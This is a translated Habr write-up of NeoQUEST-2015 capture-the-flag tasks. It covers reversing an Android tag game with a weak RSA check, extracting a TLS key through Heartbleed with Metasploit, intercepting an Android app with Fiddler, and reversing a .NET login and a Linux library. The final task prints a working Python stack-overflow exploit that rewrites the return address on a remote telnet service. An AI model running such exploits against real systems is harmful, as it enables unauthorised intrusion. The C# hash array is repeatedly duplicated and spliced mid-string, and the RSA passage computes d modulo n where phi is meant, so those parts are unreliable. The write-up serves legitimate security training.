📜 ⬆️ ⬇️

NeoQUEST-2015: HeartBleed, Android and a little bit of reverse

Hi, Habr! Summer is coming, and with it - the “confrontation” NeoQUEST-2015. Registration for the event is already open, and admission is free. Guests are waiting for reports and master classes on cyber security, contests, gifts and much more! All this is already in July, and we continue to analyze the tasks of the online stage NeoQUEST-2015. In this article:


1. "Mystic Square" - "tag" on Android


Putting "tag"

So, initially we have a file game.apk, it is clear that this is nothing but an application for Android.

At first it is worth running it - and we see that this is a simple children's game “tag”. Do you really need to collect a picture to complete the task on ctf? Exactly! You can assemble a picture either in the application itself, or by pulling pictures from the application resources (res / drawable directories) and putting the parasl in a graphic editor. Collected the picture and got some string "10838670582455823456841":

Reverse Android application

What to do next? The first thought is to reverse the Android application. We pull out the classes.dex file from the application, this is the bytecode of the program used in Android. Then, using the dex2jar utility, we get the classes.dex.dex2jar.jar file, which is conveniently viewed using the jd-gui program.
')
Entry point is the MyActivity class:

public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent) { switch (paramInt) { default: return super.onKeyDown(paramInt, paramKeyEvent); case 82: } startActivity(new Intent(this, InputOne.class)); return true; } 


It is seen that when you click on the button is a call InputOne. Let's look at the InputOne class:

 public class InputOne extends Activity { protected void onCreate(Bundle paramBundle) { super.onCreate(paramBundle); setContentView(2130903041); EditText localEditText = (EditText)findViewById(2131034112); ((Button)findViewById(2131034113)).setOnClickListener(new View.OnClickListener(localEditText) { public void onClick(View paramView) { String str1 = this.val$editText.getText().toString(); if (new File("/sdcard/key.txt").exists()) { String str2 = Simple.Decrypt(str1); Toast.makeText(InputOne.this.getBaseContext(), str2, 1).show(); return; } try { Simple.get(str1); return; } catch (IOException localIOException) { localIOException.printStackTrace(); } } }); } } 


In this class, the string entered in the input field is taken, the presence of the file “/sdcard/key.txt” is checked. If it is, the Simple class's Decrypt method is called; if it does not exist, the get method of the same class is called. The string entered in the input field is transferred to each of these methods.
We don’t have this file - see the get method.

 public static void get(String paramString) throws IOException { QueryString localQueryString = new QueryString().add("message", paramString); if (localQueryString == null) Log.e("Info", "NULL"); for (URLConnection localURLConnection = new URL("http://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php").openConnection(); ; localURLConnection = new URL("http://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php?" + localQueryString).openConnection()) { localURLConnection.getInputStream(); String str = readStreamToString(localURLConnection.getInputStream(), "UTF-8"); Log.e("Info", str); if (!str.equals("Error")) { FileWriter localFileWriter = new FileWriter(new File("/sdcard/key.txt")); localFileWriter.write(str); localFileWriter.close(); } return; } } 


This method forms a GET request of the form “http://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php?message= 'the entered string'”, and the result, if it is not “Error”, saves to the file “/sdcard/key.txt ".

Now you need to enter the code received from the game into the application, and it will download the key.txt file to the device’s memory card. The file has the following form:

5890287499022904927250918089905639153507
3148792732424313619076650032785631134
key = a0bf0f01485a59addf4f9374e7c2a7b5

"Attention - cryptography!"

The first key is obtained, now the task of attentiveness and some cryptography. We have left the unknown method Decrypt of class Simple, its call occurs if you fill that very line of input in the presence of the file "/sdcard/key.txt". But first, let's look at what is happening there.

  public static String Decrypt(String paramString) { ArrayList localArrayList = new ArrayList(); try { Scanner localScanner = new Scanner(new File("/sdcard/key.txt")); while (localScanner.hasNextLine()) localArrayList.add(localScanner.nextLine()); } catch (FileNotFoundException localFileNotFoundException) { return "0"; } BigInteger localBigInteger = new BigInteger((String)localArrayList.get(0)); if (new BigInteger((String)localArrayList.get(1)).modPow(e, n).equals(localBigInteger)) { new File("/sdcard/key.txt").delete(); return localBigInteger.modPow(new BigInteger(paramString), n).toString(16); } return "0"; } 


So, we have the usual RSA , we know the public key (e, n), immediately there is a desire to find d, enter it into the input line and get the key, it is, but attentiveness is above all. Let's see what happens here.

Let the first line of our file be sign, and the second mes. The program checks that mes ≡ sign e (mod n), after that mes d (mod n) is calculated. And now let's think about what it is. We had a key key, it was encrypted with d and received mes ≡ key d (mod n), and then signed mes ≡ sign e (mod n) and wrote it all into a file. With a little care and we see that key ≡ sign (mod n), which means that the key is the second line in the file, namely, “3148792732424313619076650032785631134 = 0025e6f77c39943f83d1d2f8770a1a79”. And now the second test for attentiveness: all keys are 128-bit hash values, which means that the key is 025e6f77c39943f83d1d2f8770a1a79, and only this way!

The variant of passing for less attentive is to factor n into factors 8286006298514071265735892332006920710569 = 81227239281928373027 * 102010192292200202947, calculate the Euler function from n:

φ (n) = (81227239281928373027-1) * (102010192292200202947-1) = 8286006298514071265552654900432792134596

It remains only to calculate d, how multiplicatively inverse to e modulo n: d = 470882518138148676109255540092728302699.

Thus, the participants needed to collect a picture in the Fifteen game, reverse the application a bit, enter the key in the input line found, and either find an error in the implementation of the RSA scheme (being very careful!), Or launch a decomposition attack. By the way, you can see how the quest participants completed this task here and here (the second link contains a rather large overview of several tasks NeoQUEST-2015).

2. "Mason-connect" - we realize HeartBleed

By assignment, the Neoquest member is given a network dump file. Opening it, for example, in Wireshark we will see the following packages:



From this dump, we see that https traffic between the two nodes is collected here, the client connects to the server with the IP address 79.175.2.84 and uses the standard port 443. We try to access this server and get the following answer:

Sorry, we don't know you

The next step would be to scan this server in order to find vulnerabilities. What if we are lucky and we find some loophole! Remembering port 443, we first check our server for the known SSL vulnerability Heartbleed. For this we can use the corresponding script from Nmap Scripting Engine:



Luck! We did find a known SSL vulnerability - HeartBleed.
For us, the most important thing is that, having used it, we can get the server's secret key and decrypt our dump. No sooner said than done! We take Metasploit, run the openssl_heartbleed script - and with such uncomplicated movements we get our secret key:



The first step is made, having received the key, we can decrypt the traffic and get more information from it. Let's go back to Wireshark and upload our key to decrypt the traffic. After decryption we get the following:



In the decrypted dump, we are primarily interested in the GET request. We see that there are transmitted cookies: id and hash. Apparently, they are used for authentication.



Also noteworthy is the unusual User-Agent: “GRAND LODGE”. By sending a packet with the same cookies and User-Agent, we will receive the following response:



Following the link, we find our key sought!

3. "raSSLedovanie" - Man-in-the-Middle attack on Android

We download the ssviewer.apk APK file from the task and install it on the Android emulator. Having started the application, we see the interface:



Press the button:



The message “200 ok” indicates the network interaction of the application with a server. Let's try to look with a sniffer (for example, take Fiddler ). We see the appeal to db765.ru . We will try to conduct an MITM attack.
Configure Fiddler and export its root certificate:



After that, we will add the certificate in Android to the trusted ones. Install a proxy for listening to traffic in Fiddler.



Run the application again and catch the server response in the sniffer.



In the answer we see base64. Unpack and get a zip-archive in which there is a picture with the answer "SSLK3YDB765"!

As practice has shown, a large number of participants handled this task, and our winner, n0n3m4, even wrote a write-up with the intriguing title “NeoQUEST 2015: how to solve a raSSLedovanie in 13 minutes” .

4. “Friendship and Brotherhood” - reverse the application in C #

All that was given to the participants is two files: login.exe and a .so file. After running login.exe, the application asks to enter a login:



Part one

Take the .NET Reflector and decompile it. After a brief search, we’ll find the following code:

 private void textBox1_TextChanged(object sender, EventArgs e) { string text = this.textBox1.Text; if (text.Length == 0) { this.label1.Text = "Enter you login"; } else if (!this.hashes.Contains<string>(this.GetHashString(text))) { this.label1.Text = "Incorrect login!"; } else if (text.Length == 0x20) { this.label1.Text = "You have successfully logged in!"; this.groupBox1.Enabled = false; this.tcpSocket = new TcpClient(this.host, this.port); this.groupBox2.Visible = true; this.timer1.Start(); } else { this.label1.Text = "Enter next character of your login"; } } 


We are interested in the line:

 else if (!this.hashes.Contains<string>(this.GetHashString(text))) 


The code checks the hashes array for the hash from the current login entered.
Hash function:

 private string GetHashString(string s) { byte[] bytes = Encoding.ASCII.GetBytes(s); byte[] buffer2 = new MD5CryptoServiceProvider().ComputeHash(bytes); string str = string.Empty; foreach (byte num in buffer2) { str = str + string.Format("{0:x2}", num); } return str; } 


An array of hashes:

 this.hashes = new string[] { "dfa7b3505d612417911b86b89f869d6c", "73b6951965fda60be0c69da1411e59af", "4ad9eab6a9bd83eec4723d05444059e2", "4f60dca64aedd943e4fccb8bbf18e25c", "9ed2ac984ed7182a4974a4bab0ad8fcd", "826fc5d7998c16eeb77abc00702a00ab", "4ec559ee5a6249f0c69ab8ff9b804072", "0eebdd1e6d919d04cdee9646607786c3", "172cfbcb9d8de7425233fd7183f43c21", "7174ce70d0702083e26d285196d36cf2", "77526663ec282d1d1f62229ab980edd5", "c7f399fb9f981ba2445ba573ec668cef", "efa9d9d29367af2b3c1cc1494f882f2d", "01e5f7d323222fd161fcbd0b32f26b2b", "83daec0d569704618ecf60d19b031082", "a2c2c74263df7545cb857b69ce5820b2", "ac13be701bc79036602ae9f355e6c389", "d33bf0c58b48508c706d32c6e8a171d4", "138378fc00ad7d559f0418019e750b19", "39eb98f5edec84e35f52feff51c94a25", "3ff5db4ebc8437f338ce978fddcfb334", "e1cd7a2a000a2fe69f909a2e46dab073", "bf80eafce6f8d51220dd6603295852d5", "f8bc2fbe2c937ea5b5e8839cbea69491", "e8bb39c756ad2b46a80b3f07c8422037", "a3d4832c6cc0b51163e04301e6a17b55", "bc7a6cff6c8507488e186d378ec12b38", "deaeb78d2c64a16cecd1a718e226db52", "c81e728d9d4c2f636f067f89cc14862c", "7742638106aea26564f3f6fa02fe1265", "7c8104aa5e88bee40658c61c5f869284", "71e157ffdf45f4946e95d0ac115466a1" }; "4ad9eab6a9bd83eec4723d05444059e2", "4f60dca64aedd943e4fccb8bbf18e25c", "9ed2ac984ed7182a4974a4bab0ad8fcd", "826fc5d7998c16eeb77abc00702a00ab", "4ec559ee5a6249f0c69ab8ff9b804072", "0eebdd1e6d919d04cdee9646607786c3", "172cfbcb9d8de7425233fd7183f43c21", "7174ce70d0702083e26d285196d36cf2", "77526663ec282d1d1f62229ab980edd5", "c7f399fb9f981ba2445ba573ec668cef", "efa9d9d29367af2b3c1cc1494f882f2d this.hashes = new string[] { "dfa7b3505d612417911b86b89f869d6c", "73b6951965fda60be0c69da1411e59af", "4ad9eab6a9bd83eec4723d05444059e2", "4f60dca64aedd943e4fccb8bbf18e25c", "9ed2ac984ed7182a4974a4bab0ad8fcd", "826fc5d7998c16eeb77abc00702a00ab", "4ec559ee5a6249f0c69ab8ff9b804072", "0eebdd1e6d919d04cdee9646607786c3", "172cfbcb9d8de7425233fd7183f43c21", "7174ce70d0702083e26d285196d36cf2", "77526663ec282d1d1f62229ab980edd5", "c7f399fb9f981ba2445ba573ec668cef", "efa9d9d29367af2b3c1cc1494f882f2d", "01e5f7d323222fd161fcbd0b32f26b2b", "83daec0d569704618ecf60d19b031082", "a2c2c74263df7545cb857b69ce5820b2", "ac13be701bc79036602ae9f355e6c389", "d33bf0c58b48508c706d32c6e8a171d4", "138378fc00ad7d559f0418019e750b19", "39eb98f5edec84e35f52feff51c94a25", "3ff5db4ebc8437f338ce978fddcfb334", "e1cd7a2a000a2fe69f909a2e46dab073", "bf80eafce6f8d51220dd6603295852d5", "f8bc2fbe2c937ea5b5e8839cbea69491", "e8bb39c756ad2b46a80b3f07c8422037", "a3d4832c6cc0b51163e04301e6a17b55", "bc7a6cff6c8507488e186d378ec12b38", "deaeb78d2c64a16cecd1a718e226db52", "c81e728d9d4c2f636f067f89cc14862c", "7742638106aea26564f3f6fa02fe1265", "7c8104aa5e88bee40658c61c5f869284", "71e157ffdf45f4946e95d0ac115466a1" }; "138378fc00ad7d559f0418019e750b19", "39eb98f5edec84e35f52feff51c94a25", "3ff5db4ebc8437f338ce978fddcfb334", "e1cd7a2a000a2fe69f909a2e46dab073", "bf80eafce6f8d51220dd6603295852d5", "f8bc2fbe2c937ea5b5e8839cbea69491", "e8bb39c756ad2b46a80b3f07c8422037", "a3d4832c6cc0b51163e04301e6a17b55", "bc7a6cff6c8507488e186d378ec12b38", "deaeb78d2c64a16cecd1a718e226db52", "c81e728d9d4c2f636f067f89cc14862c this.hashes = new string[] { "dfa7b3505d612417911b86b89f869d6c", "73b6951965fda60be0c69da1411e59af", "4ad9eab6a9bd83eec4723d05444059e2", "4f60dca64aedd943e4fccb8bbf18e25c", "9ed2ac984ed7182a4974a4bab0ad8fcd", "826fc5d7998c16eeb77abc00702a00ab", "4ec559ee5a6249f0c69ab8ff9b804072", "0eebdd1e6d919d04cdee9646607786c3", "172cfbcb9d8de7425233fd7183f43c21", "7174ce70d0702083e26d285196d36cf2", "77526663ec282d1d1f62229ab980edd5", "c7f399fb9f981ba2445ba573ec668cef", "efa9d9d29367af2b3c1cc1494f882f2d", "01e5f7d323222fd161fcbd0b32f26b2b", "83daec0d569704618ecf60d19b031082", "a2c2c74263df7545cb857b69ce5820b2", "ac13be701bc79036602ae9f355e6c389", "d33bf0c58b48508c706d32c6e8a171d4", "138378fc00ad7d559f0418019e750b19", "39eb98f5edec84e35f52feff51c94a25", "3ff5db4ebc8437f338ce978fddcfb334", "e1cd7a2a000a2fe69f909a2e46dab073", "bf80eafce6f8d51220dd6603295852d5", "f8bc2fbe2c937ea5b5e8839cbea69491", "e8bb39c756ad2b46a80b3f07c8422037", "a3d4832c6cc0b51163e04301e6a17b55", "bc7a6cff6c8507488e186d378ec12b38", "deaeb78d2c64a16cecd1a718e226db52", "c81e728d9d4c2f636f067f89cc14862c", "7742638106aea26564f3f6fa02fe1265", "7c8104aa5e88bee40658c61c5f869284", "71e157ffdf45f4946e95d0ac115466a1" }; 


The Python 3 login program might look like this:

 import hashlib hashes = ( 'dfa7b3505d612417911b86b89f869d6c', '73b6951965fda60be0c69da1411e59af', '4ad9eab6a9bd83eec4723d05444059e2', '4f60dca64aedd943e4fccb8bbf18e25c', '9ed2ac984ed7182a4974a4bab0ad8fcd', '826fc5d7998c16eeb77abc00702a00ab', '4ec559ee5a6249f0c69ab8ff9b804072', '0eebdd1e6d919d04cdee9646607786c3', '172cfbcb9d8de7425233fd7183f43c21', '7174ce70d0702083e26d285196d36cf2', '77526663ec282d1d1f62229ab980edd5', 'c7f399fb9f981ba2445ba573ec668cef', 'efa9d9d29367af2b3c1cc1494f882f2d', '01e5f7d323222fd161fcbd0b32f26b2b', '83daec0d569704618ecf60d19b031082', 'a2c2c74263df7545cb857b69ce5820b2', 'ac13be701bc79036602ae9f355e6c389', 'd33bf0c58b48508c706d32c6e8a171d4', '138378fc00ad7d559f0418019e750b19', '39eb98f5edec84e35f52feff51c94a25', '3ff5db4ebc8437f338ce978fddcfb334', 'e1cd7a2a000a2fe69f909a2e46dab073', 'bf80eafce6f8d51220dd6603295852d5', 'f8bc2fbe2c937ea5b5e8839cbea69491', 'e8bb39c756ad2b46a80b3f07c8422037', 'a3d4832c6cc0b51163e04301e6a17b55', 'bc7a6cff6c8507488e186d378ec12b38', 'deaeb78d2c64a16cecd1a718e226db52', 'c81e728d9d4c2f636f067f89cc14862c', '7742638106aea26564f3f6fa02fe1265', '7c8104aa5e88bee40658c61c5f869284', '71e157ffdf45f4946e95d0ac115466a1' ) login = '' chars = 'abcdef1234567890' for i in range(32): for j in range(len(chars)): hash = hashlib.md5((login + chars[j]).encode('utf-8')).hexdigest() if hash in hashes: login += chars[j] print(login) 


As a result, it will display the key: 2b638b6da52bfad2d99dbab4018237df.

Part two

After successful selection of the key in the first part (Appendix C #), the telnet console opens for us, with a suggestion to enter a password. We also need the libtest.so library.



It is much more convenient to use Putty (IP and port look in .NET Reflector)

 this.host = "79.175.2.85"; this.port = 0x1f90; 


Disassemble libtest.so. The first is the StartTest feature.

 public StartTest StartTest proc near s2= byte ptr -20h push rbp mov rbp, rsp sub rsp, 20h lea rdi, aHello ; "\nHello!\n" call _puts mov rax, cs:pGetFlag_ptr mov rdx, cs:GetFlag_ptr mov [rax], rdx lea rsi, modes ; "r" lea rdi, aHomeSrvPass_tx ; "/home/srv/pass.txt" call _fopen … 


The code reads the file /home/srv/pass.txt and compares it with the string entered by the user. If the passwords match, then the text from the /home/srv/flag2.txt file is displayed. In any other case, the verification cycle is repeated.

 loc_DD4: ; seconds mov edi, 1 call _sleep lea rax, [rbp+s2] lea rdx, [rbp+s2] add rdx, 10h mov rsi, rax ; s2 mov rdi, rdx ; s1 call _strcmp test eax, eax jnz short loc_D7A 


Obviously, when a user enters a password longer than 16 characters, the stack variable with the password read from the file will be overwritten:

 mov rax, cs:stdin_ptr mov rdx, [rax] ; stream lea rax, [rbp+s2] mov esi, 64h ; n mov rdi, rax ; s call _fgets 


Original C structure:

 struct info { char entered_pass[16]; char correct_pass[16]; }; 


To get the flag, it is enough to enter at the first request “aaaaaaaaaaaaaaaaa” (17 characters) and 1 rewritten character at the second:



Second flag: 3ed54ac12757f4c2b4fabd64d41de42d

Part three

To get the third key, go back to the listing libtest.so.
The GetFlag function seems suspicious:

 public GetFlag GetFlag proc near s= byte ptr -70h stream= qword ptr -8 push rbp mov rbp, rsp sub rsp, 70h lea rsi, modes ; "r" lea rdi, filename ; "/home/srv/flag3.txt" call _fopen … 


The code reads the file /home/srv/flag3.txt and displays it on the screen. But the function is not called anywhere!
From the second part, we know that the application is vulnerable to a stack overflow. Let's try to write shellcode to call the GetFlag function.

Fill in the entered_pass:

 \x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 


Fill in the correct_pass:

 \x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 


Next, you need to rewrite the return address so that the GetFlag function is executed.
In order to determine the address of the GetFlag function, you will need to output backtrace, which is present as a hint if you enter a password longer than 16 characters.

So, from the backtrace you can find out the StartTest address, and already relative to this function, calculate the GetFlag address. Since the addresses change every time you start, you need to get the StartTest address on the fly and get the GetFlag address.

The code to get the flag in Python 2.7 may look like this:

 import telnetlib import re tn = telnetlib.Telnet('79.175.2.85', 8080) read = tn.read_until(b"password: ").decode() print(read) tn.write(b'aaaaaaaaaaaaaaaaa\r\n') read = tn.read_until(b"password: ").decode() print(read) p = re.compile(r'\(StartTest\+0xd0\) \[(.+?)\]', re.MULTILINE | re.DOTALL) m = p.search(read) addr = (hex(int(m.group(1), 16) - 208 - 271))[2:] raddr = '' raddr += addr[10]; raddr += addr[11]; raddr += addr[8]; raddr += addr[9]; raddr += addr[6]; raddr += addr[7]; raddr += addr[4]; raddr += addr[5]; raddr += addr[2]; raddr += addr[3]; raddr += addr[0]; raddr += addr[1]; raddr = raddr.decode('hex') tn.write(b'\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + raddr + '\x00\x00\n') read = tn.read_until(b"password: ").decode() print("") print(read) 




Third Flag: 1946fcc08e026023fd53f935769c7f52

To be continued ...

Further more! Ahead is an analysis of the remaining tasks of NeoQUEST-2015, after which we will begin to lift the veil of secrecy over what awaits the guests at the July "confrontation"!

Source: https://habr.com/ru/post/258169/


All Articles